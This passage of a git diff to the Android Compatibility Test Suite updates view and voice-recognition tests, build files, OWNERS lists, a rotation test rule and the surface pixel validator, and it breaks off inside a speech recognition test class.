+        assertEquals("KEYCODE_BACK", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_BACK));
+        assertEquals("KEYCODE_BUTTON_A", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_BUTTON_A));
+        assertEquals("KEYCODE_PROFILE_SWITCH",
+                        KeyEvent.keyCodeToString(KeyEvent.KEYCODE_PROFILE_SWITCH));
+    }
+
+    @Test
+    public void testAxisFromToString() {
+        final Map<Integer, String> axes = new ArrayMap<Integer, String>();
+        axes.put(MotionEvent.AXIS_X, "AXIS_X");
+        axes.put(MotionEvent.AXIS_Y, "AXIS_Y");
+        axes.put(MotionEvent.AXIS_PRESSURE, "AXIS_PRESSURE");
+        axes.put(MotionEvent.AXIS_SIZE, "AXIS_SIZE");
+        axes.put(MotionEvent.AXIS_TOUCH_MAJOR, "AXIS_TOUCH_MAJOR");
+        axes.put(MotionEvent.AXIS_TOUCH_MINOR, "AXIS_TOUCH_MINOR");
+        axes.put(MotionEvent.AXIS_TOOL_MAJOR, "AXIS_TOOL_MAJOR");
+        axes.put(MotionEvent.AXIS_TOOL_MINOR, "AXIS_TOOL_MINOR");
+        axes.put(MotionEvent.AXIS_ORIENTATION, "AXIS_ORIENTATION");
+        axes.put(MotionEvent.AXIS_VSCROLL, "AXIS_VSCROLL");
+        axes.put(MotionEvent.AXIS_HSCROLL, "AXIS_HSCROLL");
+        axes.put(MotionEvent.AXIS_Z, "AXIS_Z");
+        axes.put(MotionEvent.AXIS_RX, "AXIS_RX");
+        axes.put(MotionEvent.AXIS_RY, "AXIS_RY");
+        axes.put(MotionEvent.AXIS_RZ, "AXIS_RZ");
+        axes.put(MotionEvent.AXIS_HAT_X, "AXIS_HAT_X");
+        axes.put(MotionEvent.AXIS_HAT_Y, "AXIS_HAT_Y");
+        axes.put(MotionEvent.AXIS_LTRIGGER, "AXIS_LTRIGGER");
+        axes.put(MotionEvent.AXIS_RTRIGGER, "AXIS_RTRIGGER");
+        axes.put(MotionEvent.AXIS_THROTTLE, "AXIS_THROTTLE");
+        axes.put(MotionEvent.AXIS_RUDDER, "AXIS_RUDDER");
+        axes.put(MotionEvent.AXIS_WHEEL, "AXIS_WHEEL");
+        axes.put(MotionEvent.AXIS_GAS, "AXIS_GAS");
+        axes.put(MotionEvent.AXIS_BRAKE, "AXIS_BRAKE");
+        axes.put(MotionEvent.AXIS_DISTANCE, "AXIS_DISTANCE");
+        axes.put(MotionEvent.AXIS_TILT, "AXIS_TILT");
+        axes.put(MotionEvent.AXIS_SCROLL, "AXIS_SCROLL");
+        axes.put(MotionEvent.AXIS_RELATIVE_X, "AXIS_RELATIVE_X");
+        axes.put(MotionEvent.AXIS_RELATIVE_Y, "AXIS_RELATIVE_Y");
+        axes.put(MotionEvent.AXIS_GENERIC_1, "AXIS_GENERIC_1");
+        axes.put(MotionEvent.AXIS_GENERIC_2, "AXIS_GENERIC_2");
+        axes.put(MotionEvent.AXIS_GENERIC_3, "AXIS_GENERIC_3");
+        axes.put(MotionEvent.AXIS_GENERIC_4, "AXIS_GENERIC_4");
+        axes.put(MotionEvent.AXIS_GENERIC_5, "AXIS_GENERIC_5");
+        axes.put(MotionEvent.AXIS_GENERIC_6, "AXIS_GENERIC_6");
+        axes.put(MotionEvent.AXIS_GENERIC_7, "AXIS_GENERIC_7");
+        axes.put(MotionEvent.AXIS_GENERIC_8, "AXIS_GENERIC_8");
+        axes.put(MotionEvent.AXIS_GENERIC_9, "AXIS_GENERIC_9");
+        axes.put(MotionEvent.AXIS_GENERIC_10, "AXIS_GENERIC_10");
+        axes.put(MotionEvent.AXIS_GENERIC_11, "AXIS_GENERIC_11");
+        axes.put(MotionEvent.AXIS_GENERIC_12, "AXIS_GENERIC_12");
+        axes.put(MotionEvent.AXIS_GENERIC_13, "AXIS_GENERIC_13");
+        axes.put(MotionEvent.AXIS_GENERIC_14, "AXIS_GENERIC_14");
+        axes.put(MotionEvent.AXIS_GENERIC_15, "AXIS_GENERIC_15");
+        axes.put(MotionEvent.AXIS_GENERIC_16, "AXIS_GENERIC_16");
+        // As Axes values definition is not continuous from AXIS_RELATIVE_Y to AXIS_GENERIC_1,
+        // Need to verify MotionEvent.axisToString returns axis name correctly.
+        // Also verify that we are not crashing on those calls, and that the return result on each
+        // is not empty. We do expect the two-way call chain of to/from to get us back to the
+        // original integer value.
+        for (Map.Entry<Integer, String> entry : axes.entrySet()) {
+            final int axis = entry.getKey();
+            String axisToString = MotionEvent.axisToString(entry.getKey());
+            assertFalse(TextUtils.isEmpty(axisToString));
+            assertEquals(axisToString, entry.getValue());
+            assertEquals(axis, MotionEvent.axisFromString(axisToString));
+        }
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/input/OWNERS b/tests/tests/view/src/android/view/cts/input/OWNERS
new file mode 100644
index 0000000..50445ea
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 136048
+lzye@google.com
+michaelwr@google.com
+svv@google.com
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java b/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java
deleted file mode 100644
index 43bc27c..0000000
--- a/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.cts.util;
-
-import android.app.UiAutomation;
-import android.os.ParcelFileDescriptor;
-import android.util.Log;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.io.Reader;
-
-public class DisableFixToUserRotationRule implements TestRule {
-    private static final String TAG = "DisableFixToUserRotationRule";
-    private static final String COMMAND = "cmd window set-fix-to-user-rotation ";
-
-    private final UiAutomation mUiAutomation;
-
-    public DisableFixToUserRotationRule() {
-        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-            @Override
-            public void evaluate() throws Throwable {
-                executeShellCommandAndPrint(COMMAND + "disabled");
-                try {
-                    base.evaluate();
-                } finally {
-                    executeShellCommandAndPrint(COMMAND + "default");
-                }
-            }
-        };
-    }
-
-    private void executeShellCommandAndPrint(String cmd) {
-        ParcelFileDescriptor pfd = mUiAutomation.executeShellCommand(cmd);
-        StringBuilder builder = new StringBuilder();
-        char[] buffer = new char[256];
-        int charRead;
-        try (Reader reader =
-                     new InputStreamReader(new ParcelFileDescriptor.AutoCloseInputStream(pfd))) {
-            while ((charRead = reader.read(buffer)) > 0) {
-                builder.append(buffer, 0, charRead);
-            }
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
-
-        Log.i(TAG, "Command: " + cmd + " Output: " + builder);
-    }
-
-}
diff --git a/tests/tests/view/src/android/view/cts/util/DisableFixedToUserRotationRule.java b/tests/tests/view/src/android/view/cts/util/DisableFixedToUserRotationRule.java
new file mode 100644
index 0000000..17a50ff
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/util/DisableFixedToUserRotationRule.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts.util;
+
+import android.app.UiAutomation;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.Reader;
+
+public class DisableFixedToUserRotationRule implements TestRule {
+    private static final String TAG = "DisableFixToUserRotationRule";
+    private static final String COMMAND = "cmd window fixed-to-user-rotation ";
+
+    private final UiAutomation mUiAutomation;
+
+    private String mOriginalValue;
+
+    public DisableFixedToUserRotationRule() {
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                mOriginalValue = executeShellCommand(COMMAND);
+                executeShellCommandAndPrint(COMMAND + "disabled");
+                try {
+                    base.evaluate();
+                } finally {
+                    executeShellCommandAndPrint(COMMAND + mOriginalValue);
+                }
+            }
+        };
+    }
+
+    private String executeShellCommand(String cmd) {
+        ParcelFileDescriptor pfd = mUiAutomation.executeShellCommand(cmd);
+        StringBuilder builder = new StringBuilder();
+        char[] buffer = new char[256];
+        int charRead;
+        try (Reader reader =
+                     new InputStreamReader(new ParcelFileDescriptor.AutoCloseInputStream(pfd))) {
+            while ((charRead = reader.read(buffer)) > 0) {
+                builder.append(buffer, 0, charRead);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+        return builder.toString();
+    }
+
+    private void executeShellCommandAndPrint(String cmd) {
+        Log.i(TAG, "Command: " + cmd + " Output: " + executeShellCommand(cmd));
+    }
+
+}
diff --git a/tests/tests/view/surfacevalidator/Android.bp b/tests/tests/view/surfacevalidator/Android.bp
new file mode 100644
index 0000000..1d93958
--- /dev/null
+++ b/tests/tests/view/surfacevalidator/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+
+    name: "CtsSurfaceValidatorLib",
+
+    sdk_version: "test_current",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: [
+        "androidx.test.rules",
+        "cts-wm-util",
+        "ub-uiautomator",
+    ],
+
+}
diff --git a/tests/tests/view/surfacevalidator/Android.mk b/tests/tests/view/surfacevalidator/Android.mk
deleted file mode 100644
index 54129cd..0000000
--- a/tests/tests/view/surfacevalidator/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsSurfaceValidatorLib
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    cts-wm-util \
-    ub-uiautomator
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 9401370..b9079e9 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -261,7 +261,6 @@
                     Context.DISPLAY_SERVICE);
             final Display defaultDisplay = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
             final int rotation = defaultDisplay.getRotation();
-            Display.Mode mode = defaultDisplay.getMode();
 
             View testAreaView = findViewById(android.R.id.content);
             Rect boundsToCheck = new Rect(0, 0, testAreaView.getWidth(), testAreaView.getHeight());
@@ -274,9 +273,9 @@
             }
 
             mSurfacePixelValidator = new SurfacePixelValidator2(CapturedActivity.this,
-                mLogicalDisplaySize, boundsToCheck, animationTestCase.getChecker());
-                Log.d("MediaProjection", "Size is " + mLogicalDisplaySize.toString()
-                + ", bounds are " + boundsToCheck.toShortString());
+                    mLogicalDisplaySize, boundsToCheck, animationTestCase.getChecker());
+            Log.d("MediaProjection", "Size is " + mLogicalDisplaySize.toString()
+                    + ", bounds are " + boundsToCheck.toShortString());
             mVirtualDisplay = mMediaProjection.createVirtualDisplay("CtsCapturedActivity",
                     mLogicalDisplaySize.x, mLogicalDisplaySize.y,
                     metrics.densityDpi,
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelColor.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelColor.java
index b50944b..bd37fa0 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelColor.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelColor.java
@@ -59,27 +59,10 @@
     }
 
     private int getMinValue(short color) {
-        if (color - 4 > 0) {
-            return color - 4;
-        }
-        return 0;
+        return Math.max(color - 4, 0);
     }
 
     private int getMaxValue(short color) {
-        if (color + 4 < 0xFF) {
-            return color + 4;
-        }
-        return 0xFF;
-    }
-
-    public void addToPixelCounter(ScriptC_PixelCounter script) {
-        script.set_MIN_ALPHA(mMinAlpha);
-        script.set_MAX_ALPHA(mMaxAlpha);
-        script.set_MIN_RED(mMinRed);
-        script.set_MAX_RED(mMaxRed);
-        script.set_MIN_BLUE(mMinBlue);
-        script.set_MAX_BLUE(mMaxBlue);
-        script.set_MIN_GREEN(mMinGreen);
-        script.set_MAX_GREEN(mMaxGreen);
+        return Math.min(color + 4, 0xFF);
     }
 }
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelCounter.rscript b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelCounter.rscript
deleted file mode 100644
index b4fe3be..0000000
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelCounter.rscript
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#pragma version(1)
-#pragma rs java_package_name(android.view.cts.surfacevalidator)
-#pragma rs reduce(countBlackishPixels) accumulator(countBlackishPixelsAccum) combiner(countBlackishPixelsCombiner)
-
-uchar MIN_ALPHA;
-uchar MAX_ALPHA;
-uchar MIN_RED;
-uchar MAX_RED;
-uchar MIN_GREEN;
-uchar MAX_GREEN;
-uchar MIN_BLUE;
-uchar MAX_BLUE;
-int BOUNDS[4];
-
-static void countBlackishPixelsAccum(int *accum, uchar4 pixel, uint32_t x, uint32_t y) {
-
-    if (pixel.a <= MAX_ALPHA
-            && pixel.a >= MIN_ALPHA
-            && pixel.r <= MAX_RED
-            && pixel.r >= MIN_RED
-            && pixel.g <= MAX_GREEN
-            && pixel.g >= MIN_GREEN
-            && pixel.b <= MAX_BLUE
-            && pixel.b >= MIN_BLUE
-            && x >= BOUNDS[0]
-            && x < BOUNDS[2]
-            && y >= BOUNDS[1]
-            && y < BOUNDS[3]) {
-        *accum += 1;
-    }
-}
-
-static void countBlackishPixelsCombiner(int *accum, const int *other){
-    *accum += *other;
-}
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator.java
deleted file mode 100644
index f1a1660..0000000
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator.java
+++ /dev/null
@@ -1,157 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.view.cts.surfacevalidator;
-
-import android.content.Context;
-import android.graphics.Bitmap;
-import android.graphics.Point;
-import android.graphics.Rect;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Trace;
-import android.renderscript.Allocation;
-import android.renderscript.Element;
-import android.renderscript.RenderScript;
-import android.renderscript.Type;
-import android.util.Log;
-import android.util.SparseArray;
-import android.view.Surface;
-
-public class SurfacePixelValidator {
-    private static final String TAG = "SurfacePixelValidator";
-
-    /**
-     * Observed that first few frames have errors with SurfaceView placement, so we skip for now.
-     * b/29603849 tracking that issue.
-     */
-    private static final int NUM_FIRST_FRAMES_SKIPPED = 8;
-
-    private static final int MAX_CAPTURED_FAILURES = 5;
-
-    private final int mWidth;
-    private final int mHeight;
-
-    private final HandlerThread mWorkerThread;
-    private final Handler mWorkerHandler;
-
-    private final PixelChecker mPixelChecker;
-
-    private final RenderScript mRS;
-
-    private final Allocation mInPixelsAllocation;
-    private final ScriptC_PixelCounter mScript;
-
-
-    private final Object mResultLock = new Object();
-    private int mResultSuccessFrames;
-    private int mResultFailureFrames;
-    private SparseArray<Bitmap> mFirstFailures = new SparseArray<>(MAX_CAPTURED_FAILURES);
-
-    private Runnable mConsumeRunnable = new Runnable() {
-        int mNumSkipped = 0;
-        @Override
-        public void run() {
-            Trace.beginSection("consume buffer");
-            mInPixelsAllocation.ioReceive();
-            Trace.endSection();
-
-            Trace.beginSection("compare and sum");
-            int blackishPixelCount = mScript.reduce_countBlackishPixels(mInPixelsAllocation).get();
-            Trace.endSection();
-
-            boolean success = mPixelChecker.checkPixels(blackishPixelCount, mWidth, mHeight);
-            synchronized (mResultLock) {
-                if (mNumSkipped < NUM_FIRST_FRAMES_SKIPPED) {
-                    mNumSkipped++;
-                    Log.d(TAG, "skipped frame nr " + mNumSkipped + ", success = " + success);
-                } else {
-                    if (success) {
-                        mResultSuccessFrames++;
-                    } else {
-                        mResultFailureFrames++;
-                        int totalFramesSeen = mResultSuccessFrames + mResultFailureFrames;
-                        Log.d(TAG, "Failure (pixel count = " + blackishPixelCount
-                                + ") occurred on frame " + totalFramesSeen);
-
-                        if (mFirstFailures.size() < MAX_CAPTURED_FAILURES) {
-                            Log.d(TAG, "Capturing bitmap #" + mFirstFailures.size());
-                            // error, worth looking at...
-                            Bitmap capture = Bitmap.createBitmap(mWidth, mHeight,
-                                    Bitmap.Config.ARGB_8888);
-                            mInPixelsAllocation.copyTo(capture);
-                            mFirstFailures.put(totalFramesSeen, capture);
-                        }
-                    }
-                }
-            }
-        }
-    };
-
-    public SurfacePixelValidator(Context context, Point size, Rect boundsToCheck,
-            PixelChecker pixelChecker) {
-        mWidth = size.x;
-        mHeight = size.y;
-
-        mWorkerThread = new HandlerThread("SurfacePixelValidator");
-        mWorkerThread.start();
-        mWorkerHandler = new Handler(mWorkerThread.getLooper());
-
-        mPixelChecker = pixelChecker;
-
-        mRS = RenderScript.create(context);
-        mScript = new ScriptC_PixelCounter(mRS);
-
-        mInPixelsAllocation = createBufferQueueAllocation();
-        mScript.set_BOUNDS(new int[] {boundsToCheck.left, boundsToCheck.top,
-                boundsToCheck.right, boundsToCheck.bottom});
-        pixelChecker.getColor().addToPixelCounter(mScript);
-
-        mInPixelsAllocation.setOnBufferAvailableListener(
-                allocation -> mWorkerHandler.post(mConsumeRunnable));
-    }
-
-    public Surface getSurface() {
-        return mInPixelsAllocation.getSurface();
-    }
-
-    private Allocation createBufferQueueAllocation() {
-        return Allocation.createAllocations(mRS, Type.createXY(mRS,
-                Element.RGBA_8888(mRS)
-                /*Element.U32(mRS)*/, mWidth, mHeight),
-                Allocation.USAGE_SCRIPT | Allocation.USAGE_IO_INPUT,
-                1)[0];
-    }
-
-    /**
-     * Shuts down processing pipeline, and returns current pass/fail counts.
-     *
-     * Wait for pipeline to flush before calling this method. If not, frames that are still in
-     * flight may be lost.
-     */
-    public void finish(CapturedActivity.TestResult testResult) {
-        synchronized (mResultLock) {
-            // could in theory miss results still processing, but only if latency is extremely high.
-            // Caller should only call this
-            testResult.failFrames = mResultFailureFrames;
-            testResult.passFrames = mResultSuccessFrames;
-
-            for (int i = 0; i < mFirstFailures.size(); i++) {
-                testResult.failures.put(mFirstFailures.keyAt(i), mFirstFailures.valueAt(i));
-            }
-        }
-        mWorkerThread.quitSafely();
-    }
-}
diff --git a/tests/tests/voiceRecognition/Android.bp b/tests/tests/voiceRecognition/Android.bp
index ca53417..ea5429f 100644
--- a/tests/tests/voiceRecognition/Android.bp
+++ b/tests/tests/voiceRecognition/Android.bp
@@ -26,8 +26,9 @@
         "compatibility-device-util-axt",
         "androidx.test.ext.junit",
         "truth-prebuilt",
+        "cts-wm-util",
     ],
     srcs: ["src/**/*.java"],
     resource_dirs: ["res"],
-    sdk_version: "system_current",
+    sdk_version: "test_current",
 }
diff --git a/tests/tests/voiceRecognition/AndroidManifest.xml b/tests/tests/voiceRecognition/AndroidManifest.xml
index 41e29cb..1370eb1 100644
--- a/tests/tests/voiceRecognition/AndroidManifest.xml
+++ b/tests/tests/voiceRecognition/AndroidManifest.xml
@@ -28,6 +28,15 @@
                   android:label="SpeechRecognitionActivity"
                   android:exported="true">
         </activity>
+
+        <service android:name="CtsRecognitionService"
+                 android:label="@string/service_name"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.speech.RecognitionService" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/voiceRecognition/OWNERS b/tests/tests/voiceRecognition/OWNERS
new file mode 100644
index 0000000..88d73a9
--- /dev/null
+++ b/tests/tests/voiceRecognition/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 533220
+adamhe@google.com
+augale@google.com
+joannechung@google.com
+lpeter@google.com
+svetoslavganov@google.com
+tymtsai@google.com
diff --git a/tests/tests/voiceRecognition/RecognitionService/Android.bp b/tests/tests/voiceRecognition/RecognitionService/Android.bp
index 8b1c4e1..2f9fde8 100644
--- a/tests/tests/voiceRecognition/RecognitionService/Android.bp
+++ b/tests/tests/voiceRecognition/RecognitionService/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsVoiceRecognitionService",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
index 25cfadd..cda65f0 100644
--- a/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
+++ b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
@@ -18,9 +18,9 @@
 
 import android.app.AppOpsManager;
 import android.content.Intent;
-import android.content.pm.PackageManager;
 import android.media.MediaRecorder;
-import android.os.Binder;
+import android.os.Bundle;
+import android.os.RemoteException;
 import android.speech.RecognitionService;
 import android.speech.RecognizerIntent;
 import android.util.Log;
@@ -51,6 +51,16 @@
     @Override
     protected void onStartListening(Intent recognizerIntent, Callback listener) {
         Log.d(TAG, "onStartListening");
+        if (listener != null) {
+            // We only want to make sure onStartListening() is called successfully, so it returns
+            // empty bundle here.
+            try {
+                listener.results(Bundle.EMPTY);
+                Log.i(TAG, "Invoked #results");
+            } catch (RemoteException e) {
+                Log.e(TAG, "Failed to invoke #results", e);
+            }
+        }
         mediaRecorderReady();
         blameCameraPermission(recognizerIntent, listener.getCallingUid());
         try {
diff --git a/tests/tests/voiceRecognition/res/values/strings.xml b/tests/tests/voiceRecognition/res/values/strings.xml
new file mode 100644
index 0000000..6a1c7da
--- /dev/null
+++ b/tests/tests/voiceRecognition/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="service_name">CtsRecognitionService</string>
+</resources>
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/AbstractRecognitionServiceTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/AbstractRecognitionServiceTest.java
new file mode 100644
index 0000000..6f89c28
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/AbstractRecognitionServiceTest.java
@@ -0,0 +1,343 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+import static android.voicerecognition.cts.CallbackMethod.CALLBACK_METHOD_ERROR;
+import static android.voicerecognition.cts.CallbackMethod.CALLBACK_METHOD_RESULTS;
+import static android.voicerecognition.cts.CallbackMethod.CALLBACK_METHOD_UNSPECIFIED;
+import static android.voicerecognition.cts.RecognizerMethod.RECOGNIZER_METHOD_CANCEL;
+import static android.voicerecognition.cts.RecognizerMethod.RECOGNIZER_METHOD_DESTROY;
+import static android.voicerecognition.cts.RecognizerMethod.RECOGNIZER_METHOD_START_LISTENING;
+import static android.voicerecognition.cts.RecognizerMethod.RECOGNIZER_METHOD_STOP_LISTENING;
+import static android.voicerecognition.cts.TestObjects.START_LISTENING_INTENT;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+
+import android.os.SystemClock;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/** Abstract implementation for {@link android.speech.SpeechRecognizer} CTS tests. */
+abstract class AbstractRecognitionServiceTest {
+    private static final String TAG = AbstractRecognitionServiceTest.class.getSimpleName();
+
+    private static final long INDICATOR_DISMISS_TIMEOUT = 5000L;
+    private static final long WAIT_TIMEOUT_MS = 30000L; // 30 secs
+    private static final long SEQUENCE_TEST_WAIT_TIMEOUT_MS = 5000L;
+
+    private final String CTS_VOICE_RECOGNITION_SERVICE =
+            "android.recognitionservice.service/android.recognitionservice.service"
+                    + ".CtsVoiceRecognitionService";
+
+    private final String IN_PACKAGE_RECOGNITION_SERVICE =
+            "android.voicerecognition.cts/android.voicerecognition.cts.CtsRecognitionService";
+
+    @Rule
+    public ActivityTestRule<SpeechRecognitionActivity> mActivityTestRule =
+            new ActivityTestRule<>(SpeechRecognitionActivity.class);
+
+    private UiDevice mUiDevice;
+    private SpeechRecognitionActivity mActivity;
+
+    abstract void setCurrentRecognizer(String recognizer);
+
+    abstract boolean isOnDeviceTest();
+
+    @Nullable
+    abstract String customRecognizer();
+
+    @Before
+    public void setup() {
+        prepareDevice();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
